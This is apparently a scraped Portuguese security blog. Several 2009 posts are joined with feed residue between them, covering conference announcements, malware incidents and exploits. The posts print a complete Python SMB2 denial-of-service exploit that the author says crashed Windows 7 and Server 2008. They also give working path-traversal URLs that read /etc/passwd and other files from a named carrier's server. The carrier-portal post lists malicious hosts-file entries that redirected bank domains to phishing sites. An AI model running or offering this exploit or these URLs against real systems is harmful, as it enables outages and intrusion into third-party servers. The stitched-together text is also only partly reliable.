Terminada a H2HC já foram iniciados os preparativos para outro evento muito importante no circuito brasileiro de conferências de segurança (tá bom, não temos tantas conferências de alto nível assim … rs) … está aberto o call for papers para o YSTS 4 que será realizado no dia 17 de maio de 2010 na cidade de São Paulo. Abaixo seguem os detalhes:

###

Abaixo segue a lista com os palestrantes confirmados (lista em ordem alfabética):

• Alex Kirk – (AEGIS Program Lead, Sourcefire Vulnerability Research Team)
• Andres Riancho – (Creator w3af / Independent Network Consultant)
• Andrew Cushman – (Senior Director – Security Business Unit, Microsoft)
• Bruno Oliveira – (Analista de Intrusao, iBliss)
• Carlos Sarraute – (Security Researcher, CoreLabs, Core Security Research Lab)
• Cesar Cerrudo – (Founder, Argeniss Information Security)
• Edgar Barbosa – (Security Researcher, COSEINC)
• Filipe Alcarde Balestra – (Security Researcher, Firewalls)
• Gustavo Scotti – (Software Developer, Immunity Inc.)
• Jayson E. Street – (Consultant, Author of the book: “Dissecting the hack: The F0rb1dd3n Network”)
• Joaquim Espinhara – (Consultor de Segurança, SecureInfo)
• Jonathan Brossard – (CTO, MIG Development Paris)
• Jose Antonio Milagre – (Perito Computacional e Advogado especialista em Direito Digital)
• Juliano Rizzo – (Founder, Software Developer, Security Consultant – NETIFERA)
• Nelson Brito – (Independent Researcher)
• Nicolas Waisman – (Senior Security Researcher, Immunity Inc.)
• Paulo Roizman – (Pesquisador Independente)
• Philippe Langlois – (Founder of P1 Security and Senior Researcher for Telecom Security Task Force)
• Rodrigo Carvalho Costa – (Pesquisador de Segurança Independente)
• Rodrigo Rubira Branco (BSDaemon) – (Senior Vulnerability Researcher, COSEINC / Member, RISE Security Research Group)
• Sebastian Porst – (BinNavi Lead Developer, Zynamics)
• Thiago Bordini – (Analista de Segurança, Skylan Technology)
• Tony Rodrigues – (Independent Consultant)
• Wagner Elias – (Leader Project Brazil, OWASP)
• Weber Ress – (MVP, Software Engineer, Not-disclosed)
• Wendel Guglielmetti Henrique – (Pentester, Trustwave SpiderLabs)

Link para a grade de palestras aqui (neste link está o título e uma breve descrição sobre cada uma das palestras).

Minha inscrição já está feita  e nos dias 28/11 e 29/11 estarei prestigiando o evento, encontro vocês lá !

OBS: Apenas para constar, assistam a palestra do Bruno Oliveira, vai ser interessante do conteúdo a apresentação !

Abaixo segue o fonte do exploit (extraído do site milw0rm aqui) que diga-se de passagem é extremamente simples …

#!/usr/bin/python

# When SMB2.0 recieve a “&” char in the “Process Id High” SMB header field it dies with a

# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket

from time import sleep

host = “IP_ADDR”, 445

buff = (

“\x00\x00\x00\x90″ # Begin SMB header: Session message

“\xff\x53\x4d\x42″ # Server Component: SMB

“\x72\x00\x00\x00″ # Negociate Protocol

“\x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853

“\x00\x26″# Process ID High: –>    normal value should be “\x00\x00″

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”

“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″

“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″

“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″

“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″

“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″

“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”

“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”

“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”

“\x30\x30\x32\x00″

)

s = socket()

s.connect(host)

s.send(buff)

s.close()

Realizei o teste do exploit em uma máquina com Windows 7 e outra com Windows 2008 Server e nos dois casos ele funcionou sem problemas … exploit executado … máquina Windows travada !

-- Exploit travando um Windows 2008 Server --

Fiquem espertos, pois esta vulnerabilidade ainda não tem correção !!!

]]> http://safeorunsafe.wordpress.com/2009/09/09/ms-windows-vista-7-2008-server-exploit-dos/feed/ 0 latansio tela_azul http://safeorunsafe.wordpress.com/2009/09/09/falhas-graves-malware-portal-vivo/ http://safeorunsafe.wordpress.com/2009/09/09/falhas-graves-malware-portal-vivo/#comments Wed, 09 Sep 2009 15:41:03 +0000 latansio http://safeorunsafe.wordpress.com/?p=206 ]]> Ontem a noite alguns usuários notaram um comportamento anormal ao entrarem no portal da VIVO. Logo na página inicial do portal era solicitado que um Applet fosse executado para supostamente “Executar Corretamente o VIVO online”.  Ao executar o Applet um malware é injetado no computador do usuário que está acessando o portal e tenta modificar o arquivo de hosts da máquina criando as seguintes entradas:

69.162.114.180 santander.com.br
69.162.114.180 www.santander.com.br
69.162.114.181 itau.com.br
69.162.114.181 www.itau.com.br
69.162.114.181 www.itau.com
69.162.114.181 itau.com
69.162.114.181 itaupersonnalite.com.br
69.162.114.181 www.itaupersonnalite.com.br
69.162.114.182 www.bradesco.com.br
69.162.114.182 bradesco.com.br
69.162.114.182 www.bradesco.com
69.162.114.182 bradesco.com
69.162.114.182 www.bradescoempresa.com.br
69.162.114.182 bradescoempresa.com.br
69.162.114.182 www.bradescoprime.com.br
69.162.114.182 bradescoprime.com.br
69.162.114.182 bradescocartoes.com.br
69.162.114.182 www.bradescocartoes.com.br
69.162.114.179 www.nossacaixa.com.br
69.162.114.179 nossacaixa.com.br

Conforme podemos verificar acima, o que o malware faz é criar apontamentos no hosts para que quando o usuário tente acessar um dos sites de bancos existentes na listagem acima, ele seja redirecionado para um site clonado que irá gravar seus dados de conta e senhas.

Clone do Site da Nossa Caixa

O malware descrito acima já foi removido do portal da VIVO, porém ainda existem algumas vulnerabilidades que não foram corrigidas no portal. Caso você utilize alguma das urls abaixo conseguirá exibir o conteúdo de arquivos críticos do servidor da VIVO que está comprometido.

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/passwd

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/group

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/hosts

Simplesmente modificando a string após o url= você consegue exibir outros arquivos armazenados neste servidor. (os links acima podem deixar de funcionar assim que a VIVO corrija a vulnerabilidade).

Fiquem de olho ao navegarem na internet, pois mesmo sites populares e de grandes empresas podem ser vítimas de ataques para comprometer a segurança de seus usuários.

Na semana do dia 14 a 18 de Setembro será realizada na Universidade do Estado do Mato Grosso (UNEMAT), campos de Alto Araguaia, a VI edição do SELCOMP (Semana de Licenciatura em Computação). O evento tem o apoio da SBC (Sociedade Brasileira de Computação) e com o passar dos anos tem se tornado um dos principais eventos da região Centro-Oeste.

Nesta edição do SELCOMP muitas novidades estão acontecendo, a iniciar pelas palestras. Abaixo segue trecho de um e-mail convite feito pela organização do evento, que cita as principais atrações do evento:

##

- Órgão regulador de Internet no Brasil envia palestrante para Alto Araguaia sem custos para a organização do evento * INÉDITO *
- Uma das pessoas mais ativas durante as discussões de criação dos Cursos de Licenciatura em Computação no Brasil estará em Alto Araguaia para proferir palestra (Dr. Daltro) * INÉDITO *
- Vencedor do Prêmio TV Centro América 2006 de Propaganda participará oferecendo 2 minicursos e 1 palestra (Cícero) * INÉDITO *
- Tecnologia de Serviços na Nuvem será abordada em palestra, nosso convidado vem diretamente de Londrina-PR para, também, ministrar minicurso sobre Firewall em Linux (André) * INÉDITO *
- O tema do evento será apresentado pela palestra do Mateus, mestre pela UNIMEP * INÉDITO *
- Um tema muito interessante: Ética e Segurança da Informação * INÉDITO *
- Algumas aplicações da computação na área médica, que será apresentado pelo Alex, mestre pela UNESP de São José do Rio Preto * INÉDITO *
- Ainda não acabou… Na Festa de recrutamento teremos a participação de representantes das empresas da cidade/região apresentando o perfil de profissional e vagas de estágio, focando sempre a área de computação.

##

Conforme podem ver a cima, fui convidado para participar desta edição do evento, para ministrar a palestra sobre Cloud Computing (Segurança na Nuvem) e um minicurso, com duração total de 8 horas, sobre segurança de perímetro utilizando firewall Linux … espero ver as salas / auditórios cheios hein !!! …

Abaixo segue a programação do evento e um link para o site oficial.

Programação

14/09 Segunda-feira

8:00 – 12:00 Prof. Dr. Aroldo José de Abreu – UNEMAT

Minicurso: Noções básicas de Pagemaker 7.0

14:00 – 18:00 Prof. Dr. Aroldo José de Abreu – UNEMAT

Minicurso: Noções básicas de Pagemaker 7.0Palestras

19:30 Cerimônia de abertura

20:00 – 21:30 Prof. Me. Hélio Clementino dos Santos

A Indústria de Software no Brasil e sua importância na Economia

21:30 – 21:40 Prof. Dr. Daltro José Nunes – UFRGS

O que é Ciência da Computação e sua relação com os Cursos de Licenciatura em Computação

15/09 Terça-feira

8:00 – 12:00 Prof. Adriano Ferraz da Costa – UNEMAT

Minicurso: Desenvolvimento de Sistemas WEB com PHP

14:00 – 18:00 Prof. Dr. Gleber N. Marques – UNEMAT

Prof. Carlinho Viana de Sousa – UNEMAT

Minicurso: Mathematica como plataforma para desenvolvimento de software educativo

8:00 – 12:00 Cícero Moraes

Minicurso: Inkscape: Criatividade vetorial

14:00 – 18:00 Cícero Moraes

Minicurso: Gimp – Edição de imagensPalestras

19:30 – 20:00 Credenciamento

20:00 – 21:30 Rodrigo Regis dos Santos – NIC.br

A importância do IPv6 para o futuro da Internet

21:30 – 21:40 Coffee Break

21:40 – 23:10 Cícero Moraes

Blender 3D: O que é, o que faz e como aprendê-lo?

16/09 Quarta-feira

8:00 – 12:00 Prof. Adriano Ferraz da Costa – UNEMAT

Minicurso: Desenvolvimento de Sistemas WEB com PHP

14:00 – 18:00 Prof. Dr. Gleber N. Marques – UNEMAT

Prof. Carlinho Viana de Sousa – UNEMAT

Minicurso: Mathematica como plataforma para desenvolvimento de software educativo

19:30 – 20:00 Credenciamento

20:00 – 21:30 Prof. Dr. Gleber Nelson Marques – UNEMAT

Sistemas Computacionais baseados em CAD

21:30 – 21:40 Coffee Break

21:40 – 23:10 Prof. Me. Alex Fernando de Araújo

Processamento de Imagens aplicados à área Médica

17/09 Quinta-feira

8:00 – 12:00 André Latansio de Oliveira – Altatech

Minicurso: Segurança de perímetro com Firewall Linux

14:00 – 18:00 Prof. Me. Fernando Yoiti Obana – UNEMAT

Desenho e editoração gráfica com Corel DrawPalestras

19:30 – 20:00 Credenciamento

20:00 – 21:30 Jean Carlo Fonseca Galhardi – International Paper

Segurança da Informação

21:30 – 21:40 Coffee Break

21:40 – 23:10 André Latansio de Oliveira – Altatech

Tecnologia de Segurança na Nuvem

18/09 Sexta-feira

8:00 – 12:00 André Latansio de Oliveira – Altatech

Minicurso: Segurança de perímetro com Firewall Linux

14:00 – 18:00 Prof. Me. Fernando Yoiti Obana – UNEMAT

Desenho e editoração gráfica com Corel DrawPalestras

19:30 – 20:00 Credenciamento

20:00 – 21:30 Prof. Me. Mateus de Souza Rocha – Pró-Ativa Capacitação Profissional

O profissional do século XXI e a Gestão do Conhecimento

21:30 – 21:40 Coffee Break

21:40 – 23:10 Recruiting Fest.

Apresentações sobre recrutamento: empresas locais

Site Oficial

Já estive presente em outras edições do evento e garanto que vale a pena participar !!!

• Using real-time events to drive your network scans
• The Nmap project: Open source with style
• A look at geolocation, URL shortening and top Twitter threats
• Review: Data Locker
• Making clouds secure
• Top 5 myths about wireless protection
• Securing the foundation of IT systems
• Is your data recovery provider a data security problem?
• Security for multi-enterprise applications
• In mashups we trust?

Download Aqui

Boa Leitura !

Link para o exploit: IIs FTP server Remote Stack Overflow

Para ilustar a situação vamos imaginar uma empresa que desenvolva um sistema de ERP e o comercialize, conseguindo uma base de clientes considerável. Quando a empresa foi fundada, uma das formas de “economizar” foi não legalizar suas versões do Borland Delphi (IDE para programação que a empresa utiliza para desenvolver o sistema), utilizando cracks para ativar a ferramenta.

Tudo ia bem e a quantidade de clientes crescia, devido ao sucesso de seu software de ERP, porém no processo de implantação da solução em um novo cliente começam a ocorrer problemas. A ferramenta anti-malware que está instalada no servidor e nas estações de trabalho do cliente começa a detectar o executável (arquivo com extensão exe gerado na compilação do código fonte do sistema no Delphi) do sistema como um malware e a deletá-lo. A primeira reação da equipe de desenvolvimento é tranquila, afinal o sistema realiza algumas ações no sistema operacional como edição de registro e atualização de dlls, que podem ser consideradas como o comportamento de um malware, porém após dois dias de problemas a consultoria em segurança da informação contratada pelo cliente que está implementando o ERP entrega um relatório informando que o executável do sistema  É SIM um malware e que está executando uma série de ações maliciosas na rede, apagando arquivos e se propagando para outras estações da rede onde o sistema sequer foi instalado !!!

Neste momento surge uma série de perguntas na cabeça dos proprietários da empresa !!! Como isso é possível ?? … meus programadores estão me sabotando ??? a ferramenta anti-malware e a equipe de consultoria em segurança estariam equivocados ?!?! como fica a reputação da minha empresa que comercializa um software de ERP que se comporta como um vírus ??

Esta é uma situação que eu criei para ilustrar um problema que pode ocorrer no mundo real. E agora a pergunta a ser feita é :  como um sistema de ERP passa a tomar ações de malware sem que os programadores tenham modificado os códigos fontes do sistema !?!? a resposta é a seguinte: no momento em que eles ativaram o Delphi utilizando um crack, um malware foi instalado no computador dos desenvolvedores, e este malware modificou o compilador do Delphi, inserindo código malicioso no executável do sistema toda vez que ele é compilado. Foi desta forma que um executável de sistema ERP legítimo passou a tomar ações de malware na rede do cliente.

Fica a pergunta no ar … realmente nos preocupamos em analisar todas as ações que os sistemas que implantamos em nossas redes executam ou simplesmente os implementamos e esperamos que eles façam  o que se propõe ?!??!?! será que não temos nenhum caso como o citado acima em nosso ambiente e nem ao menos nos demos conta ?! ficam as perguntas no ar !!!!

Segue o link de um malware que faz exatamente o que foi citado neste artigo, ou seja, infecta um compilador Delphi e passa a injetar códigos maliciosos nos executáveis gerados a partir dele.

Malware PE_INDUC.A

Fiz um teste com o exploit em um Debian Etch com o kernel 2.6.18-6-686 e o exploit conseguiu escalar privilégios, desabilitando o SElinux que estava em execução no sistema operacional. Abaixo segue a captura de tela da execução do exploit.

exploit - sock_sendpage() em ação

Mesmo sendo um “local exploit”, ele se torna muito perigoso devido a sua capacidade de desabilitar mecanismos de proteção como o SElinux, somada ao fato de muitos administradores de sistemas manterem usuários “comuns” em seus sistemas linux, com senhas fracas ou mesmo sem senhas. Em um simples scan na internet utilizando ferramentas de brutal force é impressionante a quantidade de usuários / senha de sistemas linux que são obtidas. Somado a esta lista um exploit com estas características os administradores de rede terão mutias dores de cabeça.

O exploit encontra-se diponível no milw0rm e pode ser baixado a partir deste link: sock_sendpage()

O blog também esta de cara nova, finalmente criei vergonha na cara e fiz um banner um pouco mais personalizado para o blog, espero que todos gostem.

Por enquanto é isto, mas logo novos posts estarão no ar com muitas novidades ! Um abraço a todos.